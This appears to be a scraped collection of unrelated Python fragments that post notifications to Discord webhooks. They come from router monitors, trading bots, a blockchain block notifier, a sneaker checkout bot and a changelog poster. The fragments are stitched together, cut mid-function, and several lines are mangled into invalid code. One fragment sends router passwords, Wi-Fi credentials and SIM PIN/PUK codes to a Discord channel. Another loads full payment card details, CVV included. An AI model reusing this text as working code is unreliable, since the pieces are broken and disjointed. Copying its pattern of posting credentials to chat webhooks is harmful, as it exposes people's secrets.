def send_webhook(): discord = Discord(url=discord_webhook) discord.post( file={ "file1": open("dump.json", "rb") }, )
def webHook(data_battery, data_totalConnNum, setMin, config): if int(data_battery) < int(setMin): discord = Discord(url=f"{config['discord_webhook']}") discord.post( embeds=[{"title": "ALLARME BATTERIA - SOGLIA CRITICA", "description": f"```diff\n-> Allarme - Batteria al {data_battery}% - {strftime('%H:%M:%S', gmtime())}\n```"}], ) try: discord = Discord(url=f"{config['discord_webhook']}") discord.post( avatar_url="https://www.naturplus.it/3625-tm_thickbox_default/saponetta-al-muschio-bianco-detersione-delicata.jpg", embeds=[ { "author": { "name": "Saponetta TIM - Università", "url": "http://192.168.1.1/index.html", "icon_url": "https://pbs.twimg.com/profile_images/687250413788106753/Of-4AHDY_400x400.png", }, "title": "Saponetta chiama, Saponetto risponde.. qui stats e creds ", "description": "", "fields": [ {"name": "Batteria", "value": f"**{data_battery}%**"}, {"name": "Dispositivi Connessi", "value": f"**{data_totalConnNum}**"}, {"name": "Credenziali Dashboard", "value": f"|| {config['dashboard_password']} ||", "inline": True}, {"name": "Credenziali Wi-Fi", "value": f"|| {config['wifi_credentials']} ||", "inline": True}, {"name": "PIN SIM", "value": f"|| {config['SIM_PIN']} ||", "inline": True}, {"name": "PUK SIM", "value": f"|| {config['SIM_PUK']} ||", "inline": True}, {"name": "Amore per te", "value": f"{random.randint(0,100)}%"} ], "footer": { "text": "Powered By Donato Di Pasquale", "icon_url": "https://pbs.twimg.com/profile_images/687250413788106753/Of-4AHDY_400x400.png", }, } ], ) except Exception as e: print('Errore: ', e) sys.exit(-2)
def __init__( self, *, account_id: str, access_token: str, environment: str = "practice", instrument: str = "EUR_USD", granularity: str = "D", trading_time: int = SUMMER_TIME, slack_webhook_url: str = "", discord_webhook_url: str = "", line_notify_token: str = "", ) -> None: self.BUY = 1 self.SELL = -1 self.EXIT = False self.ENTRY = True self.trading_time = trading_time self.account_id = account_id self.headers = { "Content-Type": "application/json", "Authorization": "Bearer {}".format(access_token), } if environment == "practice": self.base_url = "https://api-fxpractice.oanda.com" else: self.base_url = "https://api-fxtrade.oanda.com" self.sched = BlockingScheduler() self.instrument = instrument self.granularity = granularity if len(granularity) > 1: if granularity[0] == "S": self.sched.add_job(self._job, "cron", second="*/" + granularity[1:]) elif granularity[0] == "M": self.sched.add_job(self._job, "cron", minute="*/" + granularity[1:]) elif granularity[0] == "H": self.sched.add_job(self._job, "cron", hour="*/" + granularity[1:]) else: if granularity == "D": self.sched.add_job(self._job, "cron", day="*") elif granularity == "W": self.sched.add_job(self._job, "cron", week="*") elif granularity == "M": self.sched.add_job(self._job, "cron", month="*") if slack_webhook_url == "": self.slack = None else: self.slack = Slack(url=slack_webhook_url) if line_notify_token == "": self.line = None else: self.line = Line(token=line_notify_token) if discord_webhook_url == "": self.discord = None else: self.discord = Discord(url=discord_webhook_url) formatter = logging.Formatter( "%(asctime)s - %(funcName)s - %(levelname)s - %(message)s" ) handler = logging.StreamHandler() handler.setLevel(logging.INFO) handler.setFormatter(formatter) self.log = logging.getLogger(__name__) self.log.setLevel(logging.INFO) self.log.addHandler(handler) if "JPY" in self.instrument: self.point = 0.01 else: self.point = 0.0001 self.units = 10000 # currency unit self.take_profit = 0 self.stop_loss = 0 self.buy_entry = ( self.buy_exit ) = self.sell_entry = self.sell_exit = pd.DataFrame()
def sendScreenShot2Discord(browser, message, url): FILENAME = os.path.join(os.path.dirname(os.path.abspath(__file__)), "screen.png") browser.save_screenshot(FILENAME) discord = Discord(url=url) with open(FILENAME, 'rb') as f: discord.post(content=message , file={ "attachment": f })
def getAllRows(timing): try: global prev_block connection = sqlite3.connect(home + '/guild-db/blocklog/blocklog.db') cursor = connection.cursor() print("Connected to SQLite") sqlite_select_query = """SELECT * FROM blocklog WHERE status NOT IN ("adopted","leader") order by at desc limit 1;""" cursor.execute(sqlite_select_query) records = cursor.fetchall() print("Total rows are: ", len(records)) print("Printing each row") for row in records: #print("Id: ", row[0]) print("slot: ", row[1]) # print("at: ", row[2]) at_string = row[2] btime = parser.parse(at_string).astimezone(timezone(b_timezone)) print("at: ", btime) print("epoch: ", row[3]) print("block: ", row[4]) print("slot_in_epoch: ", row[5]) #print("hash: ", row[6]) #print("size: ", row[7]) print("status: ", row[8]) print("prevblock", prev_block) print("\n") #スケジュール番号計算 scheduleNo, total_schedule = getNo(row[5], s_No) sqlite_next_leader = f"SELECT * FROM blocklog WHERE slot >= {row[1]} order by slot asc limit 1 offset 1;" cursor.execute(sqlite_next_leader) next_leader_records = cursor.fetchall() print("SQL:", next_leader_records) if next_leader_records: for next_leader_row in next_leader_records: print("Next_slot: ", next_leader_row[1]) at_next_string = next_leader_row[2] next_btime = parser.parse(at_next_string).astimezone( timezone(b_timezone)) print("Next_at: ", next_btime) p_next_btime = str(next_btime) else: p_next_btime = "次エポックのスケジュールを取得してください" print("Next_at: ", p_next_btime) if timing == 'modified': if prev_block != row[4] and row[8] not in notStatus: #LINE通知内容 b_message = ticker + 'ブロック生成結果('+str(row[3])+')\r\n'\ + '\r\n'\ + '■ブロックNo:'+str(row[4])+'\r\n'\ + str(btime)+'\r\n'\ + str(scheduleNo)+'/ '+str(total_schedule)+' > '+ str(row[8])+'\r\n'\ + '\r\n'\ + '次のスケジュール>>\r\n'\ + p_next_btime+'\r\n'\ #通知先 LINE=0 Discord=1 Slack=2 Telegram=3 ※複数通知は不可 if bNotify == "0": d_line_notify(b_message) elif bNotify == "1": discord = Discord(url=dc_notify_url) discord.post(content=b_message) elif bNotify == "2": slack = slackweb.Slack(url=slack_notify_url) slack.notify(text=b_message) else: send_text = 'https://api.telegram.org/bot' + teleg_token + '/sendMessage?chat_id=' + teleg_id + '&parse_mode=Markdown&text=' + b_message response = requests.get(send_text) response.json() else: break else: prev_block = row[4] print("prevblock", prev_block) if len(records) > 0: if row[8] not in ['adopted', 'leader']: prev_block = row[4] cursor.close() except sqlite3.Error as error: print("Failed to read data from table", error) finally: if connection: connection.close() print("The Sqlite connection is closed\n") if timing == 'start': print("Guild-db monitoring started\n")
import configparser from discordwebhook import Discord config = configparser.ConfigParser() config.read('config.ini') discord = Discord(url=config['URL']['WebhookURL']) discord.post(content='test')
test_options = input("Option: ") #User information function if test_options == "1": username = input("Username: "******"2": hwid = input("Username: "******"f{hwid} has been reset!") discord = Discord(url=webhook) discord.post(embeds=[ { "author": { "name": "Obstacles - Auth Control", "url": "https://instagram.com/experienced", "icon_url": "https://media-cdn.tripadvisor.com/media/photo-p/0d/31/18/5e/pure.jpg", }, "title": "", "description": f"The user {hwid} has been given a HWID reset!", "image": {"url": "https://media.giphy.com/media/sChf4Eo55W8x2/giphy.gif"}, "footer": { "text": "Obstacles - Auth Control", }, } ],
config.get('notification', 'interval_minutes'), config.get('notification', 'interval_seconds')) }) ventilated = embed.Embed(CONFIG_PATH, 'ventilated') not_ventilated = embed.Embed(CONFIG_PATH, 'not_ventilated') activated = False payload = {'password': config.get('room', 'password')} td = datetime.timedelta(hours=config.getint('notification', 'interval_hours'), minutes=config.getint('notification', 'interval_minutes'), seconds=config.getint('notification', 'interval_seconds')) interval_sec = td.total_seconds() discord = Discord(url=config.get('webhook', 'url')) while True: try: response = requests.get(config.get('api', 'url'), params=payload) response.raise_for_status() except requests.exceptions.RequestException as e: logger.error("ventilation server: {}".format(e)) time.sleep(5) continue else: sensors = response.json() if not activated: greet.add_field({ "name": "Number of window",
backup_f = basedir / "info_trouble.html" LOOP_TIMES = 5 LOOP_SECONDS = 60 # 設定ファイル読み込み config = configparser.ConfigParser() configfile = basedir / Path(inifile) if configfile.exists() is False: print("ファイル {} を作成してください".format(inifile), file=sys.stderr) exit(1) config.read(configfile) section1 = 'discord' webhook_url = config.get(section1, 'webhook') discord = Discord(url=webhook_url) webhook_error_url = config.get(section1, 'webhook4error', fallback=webhook_url) discord_error = Discord(url=webhook_error_url) def troubleDiff(old, new) -> str: """ 消えた情報には価値は無いので新規除法だけ出すように変更 """ new_set = set(new) - set(old) return "\n".join(new_set) def makeDiffStr() -> int: """ ローカルのファイルとネット上のファイルでdiffをとる
print( f"{Fore.RED}{Style.BRIGHT}:. Please respond with 'yes' or 'no' (or 'y' or 'n').{Style.RESET_ALL}") ############################### #### Script ##### ############################### if __name__ == '__main__': # General Config: with open('config/GeneralSetting.yml', 'r') as ymlfile: cfgGen = yaml.load(ymlfile, Loader=yaml.FullLoader) useDiscord = cfgGen["discord"]["use"] discord = Discord(url=cfgGen["discord"]["webhook"]) emb1 = [{"url": "https://github.com/LimeDrive/qb-auto-delt", "title": "Disk space Control"}] emb2 = [{"url": "https://github.com/LimeDrive/qb-auto-delt", "title": "Torrents Delete"}] # Main loop while True: # Torrent Selection Config : with open('config/TorrentsSelectionSetting.yml') as ymlfile: cfgSel = yaml.load(ymlfile, Loader=yaml.FullLoader) qbt = qBit_Connection(logger, cfgGen) torrentsInfo = qbt.torrents_info() torrentCheck = torrent_Check(torrentsInfo)
from discordwebhook import Discord FILENAME = 'Changelog.md' WEBHOOK_URL = '' WEBHOOK_USERNAME = '' WEBHOOK_AVATAR_URL = '' with open(FILENAME, 'r', encoding='utf-8') as file: CONTENT = file.read() file.close() if len(CONTENT) - 1 > 2000: print('Sorry, you hit the discord limit of 2000 characters. \n' 'Remove some of the content so you can send the message. \n' f'The current number of characters is {len(CONTENT) - 1}') else: discord = Discord(url=WEBHOOK_URL) discord.post( content=CONTENT, username=WEBHOOK_USERNAME, avatar_url=WEBHOOK_AVATAR_URL ) print(f'Message from {FILENAME} was sent successfully')
mobile_number = profile["mobileNumber"] postcode = profile["postcode"] address1 = profile["address1"] city = profile["city"] card_number = profile["cardNumber"] expiry_month = profile['expiryMonth'] expiry_year = profile['expiryYear'] cvv = profile["cvv"] card_number.strip() card1 = card_number[:4] card2 = card_number[4:8] card3 = card_number[8:12] card4 = card_number[12:] webhook = Discord(url=discord_webhook) def add_to_cart(): out_of_stock = True while out_of_stock: driver.get(product_url) current_time = time.strftime("%H:%M:%S", time.localtime()) try: driver.find_element_by_name( 'js-stockStatusCode').get_attribute('innerText') == 'inStock' driver.find_element_by_id('addToCartButton').click() print(' ----------------- | Item is in stock | ----------------- ') print(' ------------- | Attempting to add to cart | ------------- ') webhook.post( username="******",
#Color for the webhook #red = 1671168 #green = 65280 color = sys.argv[4 + i] #Message that allows mentiones outside of the webhook message = sys.argv[5 + i] #Title of the webhook title = sys.argv[6 + i] #Combine the logfile with the logurl logfile = logurl + logname #Setup Discord webhook link discord = Discord(url=webhookurl) #Send the JSON to the webhook and a message if sys.argv[1] == "-w" or sys.argv[1] == "-aw": totallength = 0 #The max character length of the logfile that gets added maxlength = 1500 description = "**Logfile:**\n" file = open(logfile, 'r') lines = file.readlines() file.close() #Read all lines and add them to the description for line in lines: if totallength <= maxlength: totallength += len(line) if line != "\n":
parameters = { "market": "DOGE-USD", "side": "buy", "price": None, "type": "market", "size": 10, "reduceOnly": False } # Twitterオブジェクトの生成 auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth) #discordのウェブフック discord = Discord(url=discord_webhook_url) class MyStreamListener(tweepy.StreamListener): async def on_status(self, status): if 44196397 == status.user.id and "DOGE" in status.text: if discord is not None: discord.post(content="Elon Musk mentioned DOGE!! \n" + status.text) else: pass if FTX_API_KEY == None or FTX_API_SECRET == None: print('no env') sys.exit(1) else: